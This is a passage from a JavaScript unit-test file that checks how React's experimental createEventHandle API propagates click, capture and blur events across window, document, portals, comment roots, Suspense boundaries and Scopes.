log.push({\n                eventPhase: event.eventPhase,\n                type: event.type,\n                currentTarget: event.currentTarget,\n                target: event.target,\n              });\n            });\n            const setClick1 = ReactDOM.unstable_createEventHandle('click');\n\n            function Test() {\n              React.useEffect(() => {\n                return setClick1(window, clickEvent);\n              });\n\n              return <button>Click anything!</button>;\n            }\n            const root = ReactDOMClient.createRoot(container);\n            await act(() => {\n              root.render(<Test />);\n            });\n\n            expect(container.innerHTML).toBe(\n              '<button>Click anything!</button>',\n            );\n\n            // Clicking outside the button should trigger the event callback\n            dispatchClickEvent(document.body);\n            expect(log[0]).toEqual({\n              eventPhase: 3,\n              type: 'click',\n              currentTarget: window,\n              target: document.body,\n            });\n\n            // Unmounting the container and clicking should not work\n\n            await act(() => {\n              root.render(null);\n            });\n\n            dispatchClickEvent(document.body);\n            expect(clickEvent).toBeCalledTimes(1);\n\n            // Re-rendering and clicking the body should work again\n            await act(() => {\n              root.render(<Test />);\n            });\n\n            dispatchClickEvent(document.body);\n            expect(clickEvent).toBeCalledTimes(2);\n          });\n\n          // @gate www\n          it('handle propagation of click events on the window', async () => {\n            const buttonRef = React.createRef();\n            const divRef = React.createRef();\n            const log = [];\n            const onClick = jest.fn(e => log.push(['bubble', e.currentTarget]));\n            const onClickCapture = jest.fn(e =>\n              log.push(['capture', e.currentTarget]),\n            );\n            const setClick = ReactDOM.unstable_createEventHandle('click');\n            const setClickCapture = ReactDOM.unstable_createEventHandle(\n              'click',\n              {\n                capture: true,\n              },\n            );\n\n            function Test() {\n              React.useEffect(() => {\n                const clearClick1 = setClick(window, onClick);\n                const clearClickCapture1 = setClickCapture(\n                  window,\n                  onClickCapture,\n                );\n                const clearClick2 = setClick(buttonRef.current, onClick);\n                const clearClickCapture2 = setClickCapture(\n                  buttonRef.current,\n                  onClickCapture,\n                );\n                const clearClick3 = setClick(divRef.current, onClick);\n                const clearClickCapture3 = setClickCapture(\n                  divRef.current,\n                  onClickCapture,\n                );\n\n                return () => {\n                  clearClick1();\n                  clearClickCapture1();\n                  clearClick2();\n                  clearClickCapture2();\n                  clearClick3();\n                  clearClickCapture3();\n                };\n              });\n\n              return (\n                <button ref={buttonRef}>\n                  <div ref={divRef}>Click me!</div>\n                </button>\n              );\n            }\n\n            const root = ReactDOMClient.createRoot(container);\n            await act(() => {\n              root.render(<Test />);\n            });\n\n            const buttonElement = buttonRef.current;\n            dispatchClickEvent(buttonElement);\n            expect(onClick).toHaveBeenCalledTimes(2);\n            expect(onClickCapture).toHaveBeenCalledTimes(2);\n            expect(log[0]).toEqual(['capture', window]);\n            expect(log[1]).toEqual(['capture', buttonElement]);\n            expect(log[2]).toEqual(['bubble', buttonElement]);\n            expect(log[3]).toEqual(['bubble', window]);\n\n            log.length = 0;\n            onClick.mockClear();\n            onClickCapture.mockClear();\n\n            const divElement = divRef.current;\n            dispatchClickEvent(divElement);\n            expect(onClick).toHaveBeenCalledTimes(3);\n            expect(onClickCapture).toHaveBeenCalledTimes(3);\n            expect(log[0]).toEqual(['capture', window]);\n            expect(log[1]).toEqual(['capture', buttonElement]);\n            expect(log[2]).toEqual(['capture', divElement]);\n            expect(log[3]).toEqual(['bubble', divElement]);\n            expect(log[4]).toEqual(['bubble', buttonElement]);\n            expect(log[5]).toEqual(['bubble', window]);\n          });\n\n          // @gate www\n          it('should correctly handle stopPropagation for mixed listeners', async () => {\n            const buttonRef = React.createRef();\n            const rootListener1 = jest.fn(e => e.stopPropagation());\n            const rootListener2 = jest.fn();\n            const targetListener1 = jest.fn();\n            const targetListener2 = jest.fn();\n            const setClick1 = ReactDOM.unstable_createEventHandle('click', {\n              capture: true,\n            });\n            const setClick2 = ReactDOM.unstable_createEventHandle('click', {\n              capture: true,\n            });\n            const setClick3 = ReactDOM.unstable_createEventHandle('click');\n            const setClick4 = ReactDOM.unstable_createEventHandle('click');\n\n            function Test() {\n              React.useEffect(() => {\n                const clearClick1 = setClick1(window, rootListener1);\n                const clearClick2 = setClick2(\n                  buttonRef.current,\n                  targetListener1,\n                );\n                const clearClick3 = setClick3(window, rootListener2);\n                const clearClick4 = setClick4(\n                  buttonRef.current,\n                  targetListener2,\n                );\n\n                return () => {\n                  clearClick1();\n                  clearClick2();\n                  clearClick3();\n                  clearClick4();\n                };\n              });\n\n              return <button ref={buttonRef}>Click me!</button>;\n            }\n\n            const root = ReactDOMClient.createRoot(container);\n            await act(() => {\n              root.render(<Test />);\n            });\n\n            const buttonElement = buttonRef.current;\n            dispatchClickEvent(buttonElement);\n            expect(rootListener1).toHaveBeenCalledTimes(1);\n            expect(targetListener1).toHaveBeenCalledTimes(0);\n            expect(targetListener2).toHaveBeenCalledTimes(0);\n            expect(rootListener2).toHaveBeenCalledTimes(0);\n          });\n\n          // @gate www\n          it('should correctly handle stopPropagation for delegated listeners', async () => {\n            const buttonRef = React.createRef();\n            const rootListener1 = jest.fn(e => e.stopPropagation());\n            const rootListener2 = jest.fn();\n            const rootListener3 = jest.fn(e => e.stopPropagation());\n            const rootListener4 = jest.fn();\n            const setClick1 = ReactDOM.unstable_createEventHandle('click', {\n              capture: true,\n            });\n            const setClick2 = ReactDOM.unstable_createEventHandle('click', {\n              capture: true,\n            });\n            const setClick3 = ReactDOM.unstable_createEventHandle('click');\n            const setClick4 = ReactDOM.unstable_createEventHandle('click');\n\n            function Test() {\n              React.useEffect(() => {\n                const clearClick1 = setClick1(window, rootListener1);\n                const clearClick2 = setClick2(window, rootListener2);\n                const clearClick3 = setClick3(window, rootListener3);\n                const clearClick4 = setClick4(window, rootListener4);\n\n                return () => {\n                  clearClick1();\n                  clearClick2();\n                  clearClick3();\n                  clearClick4();\n                };\n              });\n\n              return <button ref={buttonRef}>Click me!</button>;\n            }\n\n            const root = ReactDOMClient.createRoot(container);\n            await act(() => {\n              root.render(<Test />);\n            });\n\n            const buttonElement = buttonRef.current;\n            dispatchClickEvent(buttonElement);\n            expect(rootListener1).toHaveBeenCalledTimes(1);\n            expect(rootListener2).toHaveBeenCalledTimes(1);\n            expect(rootListener3).toHaveBeenCalledTimes(0);\n            expect(rootListener4).toHaveBeenCalledTimes(0);\n          });\n\n          // @gate www\n          it('handle propagation of click events on the window and document', async () => {\n            const buttonRef = React.createRef();\n            const divRef = React.createRef();\n            const log = [];\n            const onClick = jest.fn(e => log.push(['bubble', e.currentTarget]));\n            const onClickCapture = jest.fn(e =>\n              log.push(['capture', e.currentTarget]),\n            );\n            const setClick = ReactDOM.unstable_createEventHandle('click');\n            const setClickCapture = ReactDOM.unstable_createEventHandle(\n              'click',\n              {\n                capture: true,\n              },\n            );\n\n            function Test() {\n              React.useEffect(() => {\n                const clearClick1 = setClick(window, onClick);\n                const clearClickCapture1 = setClickCapture(\n                  window,\n                  onClickCapture,\n                );\n                const clearClick2 = setClick(document, onClick);\n                const clearClickCapture2 = setClickCapture(\n                  document,\n                  onClickCapture,\n                );\n                const clearClick3 = setClick(buttonRef.current, onClick);\n                const clearClickCapture3 = setClickCapture(\n                  buttonRef.current,\n                  onClickCapture,\n                );\n                const clearClick4 = setClick(divRef.current, onClick);\n                const clearClickCapture4 = setClickCapture(\n                  divRef.current,\n                  onClickCapture,\n                );\n\n                return () => {\n                  clearClick1();\n                  clearClickCapture1();\n                  clearClick2();\n                  clearClickCapture2();\n                  clearClick3();\n                  clearClickCapture3();\n                  clearClick4();\n                  clearClickCapture4();\n                };\n              });\n\n              return (\n                <button ref={buttonRef}>\n                  <div ref={divRef}>Click me!</div>\n                </button>\n              );\n            }\n\n            const root = ReactDOMClient.createRoot(container);\n            await act(() => {\n              root.render(<Test />);\n            });\n\n            const buttonElement = buttonRef.current;\n            dispatchClickEvent(buttonElement);\n            expect(onClick).toHaveBeenCalledTimes(3);\n            expect(onClickCapture).toHaveBeenCalledTimes(3);\n\n            if (enableLegacyFBSupport) {\n              expect(log[0]).toEqual(['capture', window]);\n              expect(log[1]).toEqual(['capture', document]);\n              expect(log[2]).toEqual(['capture', buttonElement]);\n              expect(log[3]).toEqual(['bubble', document]);\n              expect(log[4]).toEqual(['bubble', buttonElement]);\n              expect(log[5]).toEqual(['bubble', window]);\n            } else {\n              expect(log[0]).toEqual(['capture', window]);\n              expect(log[1]).toEqual(['capture', document]);\n              expect(log[2]).toEqual(['capture', buttonElement]);\n              expect(log[3]).toEqual(['bubble', buttonElement]);\n              expect(log[4]).toEqual(['bubble', document]);\n              expect(log[5]).toEqual(['bubble', window]);\n            }\n\n            log.length = 0;\n            onClick.mockClear();\n            onClickCapture.mockClear();\n\n            const divElement = divRef.current;\n            dispatchClickEvent(divElement);\n            expect(onClick).toHaveBeenCalledTimes(4);\n            expect(onClickCapture).toHaveBeenCalledTimes(4);\n\n            if (enableLegacyFBSupport) {\n              expect(log[0]).toEqual(['capture', window]);\n              expect(log[1]).toEqual(['capture', document]);\n              expect(log[2]).toEqual(['capture', buttonElement]);\n              expect(log[3]).toEqual(['capture', divElement]);\n              expect(log[4]).toEqual(['bubble', document]);\n              expect(log[5]).toEqual(['bubble', divElement]);\n              expect(log[6]).toEqual(['bubble', buttonElement]);\n              expect(log[7]).toEqual(['bubble', window]);\n            } else {\n              expect(log[0]).toEqual(['capture', window]);\n              expect(log[1]).toEqual(['capture', document]);\n              expect(log[2]).toEqual(['capture', buttonElement]);\n              expect(log[3]).toEqual(['capture', divElement]);\n              expect(log[4]).toEqual(['bubble', divElement]);\n              expect(log[5]).toEqual(['bubble', buttonElement]);\n              expect(log[6]).toEqual(['bubble', document]);\n              expect(log[7]).toEqual(['bubble', window]);\n            }\n          });\n\n          // @gate www\n          it('does not support custom user events', () => {\n            // With eager listeners, supporting custom events via this API doesn't make sense\n            // because we can't know a full list of them ahead of time. Let's check we throw\n            // since otherwise we'd end up with inconsistent behavior, like no portal bubbling.\n            expect(() => {\n              ReactDOM.unstable_createEventHandle('custom-event');\n            }).toThrow(\n              'Cannot call unstable_createEventHandle with \"custom-event\", as it is not an event known to React.',\n            );\n          });\n\n          // @gate www\n          it('beforeblur and afterblur are called after a focused element is unmounted', async () => {\n            const log = [];\n            // We have to persist here because we want to read relatedTarget later.\n            const onAfterBlur = jest.fn(e => {\n              e.persist();\n              log.push(e.type);\n            });\n            const onBeforeBlur = jest.fn(e => log.push(e.type));\n            const innerRef = React.createRef();\n            const innerRef2 = React.createRef();\n            const setAfterBlurHandle =\n              ReactDOM.unstable_createEventHandle('afterblur');\n            const setBeforeBlurHandle =\n              ReactDOM.unstable_createEventHandle('beforeblur');\n\n            const Component = ({show}) => {\n              const ref = React.useRef(null);\n\n              React.useEffect(() => {\n                const clear1 = setAfterBlurHandle(document, onAfterBlur);\n                const clear2 = setBeforeBlurHandle(ref.current, onBeforeBlur);\n\n                return () => {\n                  clear1();\n                  clear2();\n                };\n              });\n\n              return (\n                <div ref={ref}>\n                  {show && <input ref={innerRef} />}\n                  <div ref={innerRef2} />\n                </div>\n              );\n            };\n\n            const root = ReactDOMClient.createRoot(container);\n            await act(() => {\n              root.render(<Component show={true} />);\n            });\n\n            const inner = innerRef.current;\n            const target = createEventTarget(inner);\n            target.focus();\n            expect(onBeforeBlur).toHaveBeenCalledTimes(0);\n            expect(onAfterBlur).toHaveBeenCalledTimes(0);\n\n            await act(() => {\n              root.render(<Component show={false} />);\n            });\n\n            expect(onBeforeBlur).toHaveBeenCalledTimes(1);\n            expect(onAfterBlur).toHaveBeenCalledTimes(1);\n            expect(onAfterBlur).toHaveBeenCalledWith(\n              expect.objectContaining({relatedTarget: inner}),\n            );\n            expect(log).toEqual(['beforeblur', 'afterblur']);\n          });\n\n          // @gate www\n          it('beforeblur and afterblur are called after a nested focused element is unmounted', async () => {\n            const log = [];\n            // We have to persist here because we want to read relatedTarget later.\n            const onAfterBlur = jest.fn(e => {\n              e.persist();\n              log.push(e.type);\n            });\n            const onBeforeBlur = jest.fn(e => log.push(e.type));\n            const innerRef = React.createRef();\n            const innerRef2 = React.createRef();\n            const setAfterBlurHandle =\n              ReactDOM.unstable_createEventHandle('afterblur');\n            const setBeforeBlurHandle =\n              ReactDOM.unstable_createEventHandle('beforeblur');\n\n            const Component = ({show}) => {\n              const ref = React.useRef(null);\n\n              React.useEffect(() => {\n                const clear1 = setAfterBlurHandle(document, onAfterBlur);\n                const clear2 = setBeforeBlurHandle(ref.current, onBeforeBlur);\n\n                return () => {\n                  clear1();\n                  clear2();\n                };\n              });\n\n              return (\n                <div ref={ref}>\n                  {show && (\n                    <div>\n                      <input ref={innerRef} />\n                    </div>\n                  )}\n                  <div ref={innerRef2} />\n                </div>\n              );\n            };\n\n            const root = ReactDOMClient.createRoot(container);\n            await act(() => {\n              root.render(<Component show={true} />);\n            });\n\n            const inner = innerRef.current;\n            const target = createEventTarget(inner);\n            target.focus();\n            expect(onBeforeBlur).toHaveBeenCalledTimes(0);\n            expect(onAfterBlur).toHaveBeenCalledTimes(0);\n\n            await act(() => {\n              root.render(<Component show={false} />);\n            });\n\n            expect(onBeforeBlur).toHaveBeenCalledTimes(1);\n            expect(onAfterBlur).toHaveBeenCalledTimes(1);\n            expect(onAfterBlur).toHaveBeenCalledWith(\n              expect.objectContaining({relatedTarget: inner}),\n            );\n            expect(log).toEqual(['beforeblur', 'afterblur']);\n          });\n\n          // @gate www\n          it('beforeblur should skip handlers from a deleted subtree after the focused element is unmounted', async () => {\n            const onBeforeBlur = jest.fn();\n            const innerRef = React.createRef();\n            const innerRef2 = React.createRef();\n            const setBeforeBlurHandle =\n              ReactDOM.unstable_createEventHandle('beforeblur');\n            const ref2 = React.createRef();\n\n            const Component = ({show}) => {\n              const ref = React.useRef(null);\n\n              React.useEffect(() => {\n                const clear1 = setBeforeBlurHandle(ref.current, onBeforeBlur);\n                let clear2;\n                if (ref2.current) {\n                  clear2 = setBeforeBlurHandle(ref2.current, onBeforeBlur);\n                }\n\n                return () => {\n                  clear1();\n                  if (clear2) {\n                    clear2();\n                  }\n                };\n              });\n\n              return (\n                <div ref={ref}>\n                  {show && (\n                    <div ref={ref2}>\n                      <input ref={innerRef} />\n                    </div>\n                  )}\n                  <div ref={innerRef2} />\n                </div>\n              );\n            };\n\n            const root = ReactDOMClient.createRoot(container);\n            await act(() => {\n              root.render(<Component show={true} />);\n            });\n\n            const inner = innerRef.current;\n            const target = createEventTarget(inner);\n            target.focus();\n            expect(onBeforeBlur).toHaveBeenCalledTimes(0);\n\n            await act(() => {\n              root.render(<Component show={false} />);\n            });\n\n            expect(onBeforeBlur).toHaveBeenCalledTimes(1);\n          });\n\n          // @gate www\n          it('beforeblur and afterblur are called after a focused element is suspended', async () => {\n            const log = [];\n            // We have to persist here because we want to read relatedTarget later.\n            const onAfterBlur = jest.fn(e => {\n              e.persist();\n              log.push(e.type);\n            });\n            const onBeforeBlur = jest.fn(e => log.push(e.type));\n            const innerRef = React.createRef();\n            const Suspense = React.Suspense;\n            let suspend = false;\n            let resolve;\n            const promise = new Promise(\n              resolvePromise => (resolve = resolvePromise),\n            );\n            const setAfterBlurHandle =\n              ReactDOM.unstable_createEventHandle('afterblur');\n            const setBeforeBlurHandle =\n              ReactDOM.unstable_createEventHandle('beforeblur');\n\n            function Child() {\n              if (suspend) {\n                throw promise;\n              } else {\n                return <input ref={innerRef} />;\n              }\n            }\n\n            const Component = () => {\n              const ref = React.useRef(null);\n\n              React.useEffect(() => {\n                const clear1 = setAfterBlurHandle(document, onAfterBlur);\n                const clear2 = setBeforeBlurHandle(ref.current, onBeforeBlur);\n\n                return () => {\n                  clear1();\n                  clear2();\n                };\n              });\n\n              return (\n                <div ref={ref}>\n                  <Suspense fallback=\"Loading...\">\n                    <Child />\n                  </Suspense>\n                </div>\n              );\n            };\n\n            const container2 = document.createElement('div');\n            document.body.appendChild(container2);\n\n            const root = ReactDOMClient.createRoot(container2);\n\n            await act(() => {\n              root.render(<Component />);\n            });\n            jest.runAllTimers();\n\n            const inner = innerRef.current;\n            const target = createEventTarget(inner);\n            target.focus();\n            expect(onBeforeBlur).toHaveBeenCalledTimes(0);\n            expect(onAfterBlur).toHaveBeenCalledTimes(0);\n\n            suspend = true;\n            await act(() => {\n              root.render(<Component />);\n            });\n            jest.runAllTimers();\n\n            expect(onBeforeBlur).toHaveBeenCalledTimes(1);\n            expect(onAfterBlur).toHaveBeenCalledTimes(1);\n            expect(onAfterBlur).toHaveBeenCalledWith(\n              expect.objectContaining({relatedTarget: inner}),\n            );\n            resolve();\n            expect(log).toEqual(['beforeblur', 'afterblur']);\n\n            document.body.removeChild(container2);\n          });\n\n          // @gate www\n          it('beforeblur should skip handlers from a deleted subtree after the focused element is suspended', async () => {\n            const onBeforeBlur = jest.fn();\n            const innerRef = React.createRef();\n            const innerRef2 = React.createRef();\n            const setBeforeBlurHandle =\n              ReactDOM.unstable_createEventHandle('beforeblur');\n            const ref2 = React.createRef();\n            const Suspense = React.Suspense;\n            let suspend = false;\n            let resolve;\n            const promise = new Promise(\n              resolvePromise => (resolve = resolvePromise),\n            );\n\n            function Child() {\n              if (suspend) {\n                throw promise;\n              } else {\n                return <input ref={innerRef} />;\n              }\n            }\n\n            const Component = () => {\n              const ref = React.useRef(null);\n\n              React.useEffect(() => {\n                const clear1 = setBeforeBlurHandle(ref.current, onBeforeBlur);\n                let clear2;\n                if (ref2.current) {\n                  clear2 = setBeforeBlurHandle(ref2.current, onBeforeBlur);\n                }\n\n                return () => {\n                  clear1();\n                  if (clear2) {\n                    clear2();\n                  }\n                };\n              });\n\n              return (\n                <div ref={ref}>\n                  <Suspense fallback=\"Loading...\">\n                    <div ref={ref2}>\n                      <Child />\n                    </div>\n                  </Suspense>\n                  <div ref={innerRef2} />\n                </div>\n              );\n            };\n\n            const container2 = document.createElement('div');\n            document.body.appendChild(container2);\n\n            const root = ReactDOMClient.createRoot(container2);\n\n            await act(() => {\n              root.render(<Component />);\n            });\n            jest.runAllTimers();\n\n            const inner = innerRef.current;\n            const target = createEventTarget(inner);\n            target.focus();\n            expect(onBeforeBlur).toHaveBeenCalledTimes(0);\n\n            suspend = true;\n            await act(() => {\n              root.render(<Component />);\n            });\n            jest.runAllTimers();\n\n            expect(onBeforeBlur).toHaveBeenCalledTimes(1);\n            resolve();\n\n            document.body.removeChild(container2);\n          });\n\n          // @gate www\n          it('regression: does not fire beforeblur/afterblur if target is already hidden', async () => {\n            const Suspense = React.Suspense;\n            let suspend = false;\n            const fakePromise = {then() {}};\n            const setBeforeBlurHandle =\n              ReactDOM.unstable_createEventHandle('beforeblur');\n            const innerRef = React.createRef();\n\n            function Child() {\n              if (suspend) {\n                throw fakePromise;\n              }\n              return <input ref={innerRef} />;\n            }\n\n            const Component = () => {\n              const ref = React.useRef(null);\n              const [, setState] = React.useState(0);\n\n              React.useEffect(() => {\n                return setBeforeBlurHandle(ref.current, () => {\n                  // In the regression case, this would trigger an update, then\n                  // the resulting render would trigger another blur event,\n                  // which would trigger an update again, and on and on in an\n                  // infinite loop.\n                  setState(n => n + 1);\n                });\n              }, []);\n\n              return (\n                <div ref={ref}>\n                  <Suspense fallback=\"Loading...\">\n                    <Child />\n                  </Suspense>\n                </div>\n              );\n            };\n\n            const container2 = document.createElement('div');\n            document.body.appendChild(container2);\n\n            const root = ReactDOMClient.createRoot(container2);\n            await act(() => {\n              root.render(<Component />);\n            });\n\n            // Focus the input node\n            const inner = innerRef.current;\n            const target = createEventTarget(inner);\n            target.focus();\n\n            // Suspend. This hides the input node, causing it to lose focus.\n            suspend = true;\n            await act(() => {\n              root.render(<Component />);\n            });\n\n            document.body.removeChild(container2);\n          });\n\n          // @gate !disableCommentsAsDOMContainers\n          it('handle propagation of click events between disjointed comment roots', async () => {\n            const buttonRef = React.createRef();\n            const divRef = React.createRef();\n            const log = [];\n            const setClick = ReactDOM.unstable_createEventHandle('click');\n            const setClickCapture = ReactDOM.unstable_createEventHandle(\n              'click',\n              {capture: true},\n            );\n            const onClick = jest.fn(e => log.push(['bubble', e.currentTarget]));\n            const onClickCapture = jest.fn(e =>\n              log.push(['capture', e.currentTarget]),\n            );\n\n            function Child() {\n              React.useEffect(() => {\n                const click1 = setClick(divRef.current, onClick);\n                const click2 = setClickCapture(divRef.current, onClickCapture);\n                return () => {\n                  click1();\n                  click2();\n                };\n              });\n\n              return <div ref={divRef}>Click me!</div>;\n            }\n\n            function Parent() {\n              React.useEffect(() => {\n                const click1 = setClick(buttonRef.current, onClick);\n                const click2 = setClickCapture(\n                  buttonRef.current,\n                  onClickCapture,\n                );\n                return () => {\n                  click1();\n                  click2();\n                };\n              });\n\n              return <button ref={buttonRef} />;\n            }\n\n            // We use a comment node here, then mount to it\n            const disjointedNode = document.createComment(\n              ' react-mount-point-unstable ',\n            );\n            const root = ReactDOMClient.createRoot(container);\n            await act(() => {\n              root.render(<Parent />);\n            });\n            buttonRef.current.appendChild(disjointedNode);\n            const disjointedNodeRoot =\n              ReactDOMClient.createRoot(disjointedNode);\n            await act(() => {\n              disjointedNodeRoot.render(<Child />);\n            });\n\n            const buttonElement = buttonRef.current;\n            dispatchClickEvent(buttonElement);\n            expect(onClick).toHaveBeenCalledTimes(1);\n            expect(onClickCapture).toHaveBeenCalledTimes(1);\n            expect(log[0]).toEqual(['capture', buttonElement]);\n            expect(log[1]).toEqual(['bubble', buttonElement]);\n\n            const divElement = divRef.current;\n            dispatchClickEvent(divElement);\n            expect(onClick).toHaveBeenCalledTimes(3);\n            expect(onClickCapture).toHaveBeenCalledTimes(3);\n            expect(log[2]).toEqual(['capture', buttonElement]);\n            expect(log[3]).toEqual(['capture', divElement]);\n            expect(log[4]).toEqual(['bubble', divElement]);\n            expect(log[5]).toEqual(['bubble', buttonElement]);\n          });\n\n          // @gate www\n          it('propagates known createEventHandle events through portals without inner listeners', async () => {\n            const buttonRef = React.createRef();\n            const divRef = React.createRef();\n            const log = [];\n            const onClick = jest.fn(e => log.push(['bubble', e.currentTarget]));\n            const onClickCapture = jest.fn(e =>\n              log.push(['capture', e.currentTarget]),\n            );\n            const setClick = ReactDOM.unstable_createEventHandle('click');\n            const setClickCapture = ReactDOM.unstable_createEventHandle(\n              'click',\n              {\n                capture: true,\n              },\n            );\n\n            const portalElement = document.createElement('div');\n            document.body.appendChild(portalElement);\n\n            function Child() {\n              return <div ref={divRef}>Click me!</div>;\n            }\n\n            function Parent() {\n              React.useEffect(() => {\n                const clear1 = setClick(buttonRef.current, onClick);\n                const clear2 = setClickCapture(\n                  buttonRef.current,\n                  onClickCapture,\n                );\n                return () => {\n                  clear1();\n                  clear2();\n                };\n              });\n\n              return (\n                <button ref={buttonRef}>\n                  {ReactDOM.createPortal(<Child />, portalElement)}\n                </button>\n              );\n            }\n\n            const root = ReactDOMClient.createRoot(container);\n            await act(() => {\n              root.render(<Parent />);\n            });\n\n            const divElement = divRef.current;\n            const buttonElement = buttonRef.current;\n            dispatchClickEvent(divElement);\n            expect(onClick).toHaveBeenCalledTimes(1);\n            expect(onClickCapture).toHaveBeenCalledTimes(1);\n            expect(log[0]).toEqual(['capture', buttonElement]);\n            expect(log[1]).toEqual(['bubble', buttonElement]);\n\n            document.body.removeChild(portalElement);\n          });\n\n          describe('Compatibility with Scopes API', () => {\n            beforeEach(() => {\n              jest.resetModules();\n              ReactFeatureFlags = require('shared/ReactFeatureFlags');\n              ReactFeatureFlags.enableCreateEventHandleAPI = true;\n              ReactFeatureFlags.enableScopeAPI = true;\n\n              React = require('react');\n              ReactDOM = require('react-dom');\n              ReactDOMClient = require('react-dom/client');\n              Scheduler = require('scheduler');\n              ReactDOMServer = require('react-dom/server');\n              act = require('internal-test-utils').act;\n            });\n\n            // @gate www\n            it('handle propagation of click events on a scope', async () => {\n              const buttonRef = React.createRef();\n              const log = [];\n              const onClick = jest.fn(e =>\n                log.push(['bubble', e.currentTarget]),\n              );\n              const onClickCapture = jest.fn(e =>\n                log.push(['capture', e.currentTarget]),\n              );\n              const TestScope = React.unstable_Scope;\n              const setClick = ReactDOM.unstable_createEventHandle('click');\n              const setClickCapture = ReactDOM.unstable_createEventHandle(\n                'click',\n                {\n                  capture: true,\n                },\n              );\n\n              function Test() {\n                const scopeRef = React.useRef(null);\n\n                React.useEffect(() => {\n                  const clear1 = setClick(scopeRef.current, onClick);\n                  const clear2 = setClickCapture(\n                    scopeRef.current,\n                    onClickCapture,\n                  );\n\n                  return () => {\n                    clear1();\n                    clear2();\n                  };\n                });\n\n                return (\n                  <TestScope ref={scopeRef}>\n                    <button ref={buttonRef} />\n                  </TestScope>\n                );\n              }\n\n              const root = ReactDOMClient.createRoot(container);\n              await act(() => {\n                root.render(<Test />);\n              });\n\n              const buttonElement = buttonRef.current;\n              dispatchClickEvent(buttonElement);\n\n              expect(onClick).toHaveBeenCalledTimes(1);\n              expect(onClickCapture).toHaveBeenCalledTimes(1);\n              expect(log).toEqual([\n                ['capture', buttonElement],\n                ['bubble', buttonElement],\n              ]);\n            });\n\n            // @gate www\n            it('handle mixed propagation of click events on a scope', async () => {\n              const buttonRef = React.createRef();\n              const divRef = React.createRef();\n              const log = [];\n              const onClick = jest.fn(e =>\n                log.push(['bubble', e.currentTarget]),\n              );\n              const onClickCapture = jest.fn(e =>\n                log.push(['capture', e.currentTarget]),\n              );\n              const TestScope = React.unstable_Scope;\n              const setClick = ReactDOM.unstable_createEventHandle('click');\n              const setClickCapture = ReactDOM.unstable_createEventHandle(\n                'click',\n                {\n                  capture: true,\n                },\n              );\n\n              function Test() {\n                const scopeRef = React.useRef(null);\n\n                React.useEffect(() => {\n                  const clear1 = setClick(scopeRef.current, onClick);\n                  const clear2 = setClickCapture(\n                    scopeRef.current,\n                    onClickCapture,\n                  );\n                  const clear3 = setClick(buttonRef.current, onClick);\n                  const clear4 = setClickCapture(\n                    buttonRef.current,\n                    onClickCapture,\n                  );\n\n                  return () => {\n                    clear1();\n                    clear2();\n                    clear3();\n                    clear4();\n                  };\n                });\n\n                return (\n                  <TestScope ref={scopeRef}>\n                    <button ref={buttonRef}>\n                      <div\n                        ref={divRef}\n                        onClick={onClick}\n                        onClickCapture={onClickCapture}>\n                        Click me!\n                      </div>\n                    </button>\n                  </TestScope>\n                );\n              }\n\n              const root = ReactDOMClient.createRoot(container);\n              await act(() => {\n                root.render(<Test />);\n              });\n\n              const buttonElement = buttonRef.current;\n              dispatchClickEvent(buttonElement);\n\n              expect(onClick).toHaveBeenCalledTimes(2);\n              expect(onClickCapture).toHaveBeenCalledTimes(2);\n              expect(log).toEqual([\n                ['capture', buttonElement],\n                ['capture', buttonElement],\n                ['bubble', buttonElement],\n                ['bubble', buttonElement],\n              ]);\n\n              log.length = 0;\n              onClick.mockClear();\n              onClickCapture.mockClear();\n\n              const divElement = divRef.current;\n              dispatchClickEvent(divElement);\n\n              expect(onClick).toHaveBeenCalledTimes(3);\n              expect(onClickCapture).toHaveBeenCalledTimes(3);\n              expect(log).toEqual([\n                ['capture', buttonElement],\n                ['capture', buttonElement],\n                ['capture', divElement],\n                ['bubble', divElement],\n                ['bubble', buttonElement],\n                ['bubble', buttonElement],\n              ]);\n            });\n\n            // @gate www\n            it('should not handle the target being a dangling text node within a scope', async () => {\n              const clickEvent = jest.fn();\n              const buttonRef = React.createRef();\n              const TestScope = React.unstable_Scope;\n              const setClick = ReactDOM.unstable_createEventHandle('click');\n\n              function Test() {\n                const scopeRef = React.useRef(null);\n\n                React.useEffect(() => {\n                  return setClick(scopeRef.current, clickEvent);\n                });\n\n                return (\n                  <button ref={buttonRef}>\n                    <TestScope ref={scopeRef}>Click me!</TestScope>\n                  </button>\n                );\n              }\n\n              const root = ReactDOMClient.createRoot(container);\n              await act(() => {\n                root.render(<Test />);\n              });\n\n              const textNode = buttonRef.current.firstChild;\n              dispatchClickEvent(textNode);\n              // This should not work, as the target instance will be the\n              // <button>, which is actually outside the scope.\n              expect(clickEvent).toBeCalledTimes(0);\n            });\n\n            // @gate www\n            it('handle stopPropagation (inner) correctly between scopes', async () => {\n              const buttonRef = React.createRef();\n              const outerOnClick = jest.fn();\n              const innerOnClick = jest.fn(e => e.stopPropagation());\n              const TestScope = React.unstable_Scope;\n              const TestScope2 = React.unstable_Scope;\n              const setClick = ReactDOM.unstable_createEventHandle('click');\n\n              function Test() {\n                const scopeRef = React.useRef(null);\n                const scope2Ref = React.useRef(null);\n\n                React.useEffect(() => {\n                  const clear1 = setClick(scopeRef.current, outerOnClick);\n                  const clear2 = setClick(scope2Ref.current, innerOnClick);\n\n                  return () => {\n                    clear1();\n                    clear2();\n                  };\n                });\n\n                return (\n                  <TestScope ref={scopeRef}>\n                    <TestScope2 ref={scope2Ref}>\n                      <button ref={buttonRef} />\n                    </TestScope2>\n                  </TestScope>\n                );\n              }\n\n              const root = ReactDOMClient.createRoot(container);\n              await act(() => {\n                root.render(<Test />);\n              });\n\n              const buttonElement = buttonRef.current;\n              dispatchClickEvent(buttonElement);\n\n              expect(innerOnClick).toHaveBeenCalledTimes(1);\n              expect(outerOnClick).toHaveBeenCalledTimes(0);\n            });\n\n            // @gate www\n            it('handle stopPropagation (outer) correctly between scopes', async () => {\n              const buttonRef = React.createRef();\n              const outerOnClick = jest.fn(e => e.stopPropagation());\n              const innerOnClick = jest.fn();\n              const TestScope = React.unstable_Scope;\n              const TestScope2 = React.unstable_Scope;\n              const setClick = ReactDOM.unstable_createEventHandle('click');\n\n              function Test() {\n                const scopeRef = React.useRef(null);\n                const scope2Ref = React.useRef(null);\n\n                React.useEffect(() => {\n                  const clear1 = setClick(scopeRef.current, outerOnClick);\n                  const clear2 = setClick(scope2Ref.current, innerOnClick);\n\n                  return () => {\n                    clear1();\n                    clear2();\n                  };\n                });\n\n                return (\n                  <TestScope ref={scopeRef}>\n                    <TestScope2 ref={scope2Ref}>\n                      <button ref={buttonRef} />\n                    </TestScope2>\n                  </TestScope>\n                );\n              }\n\n              const root = 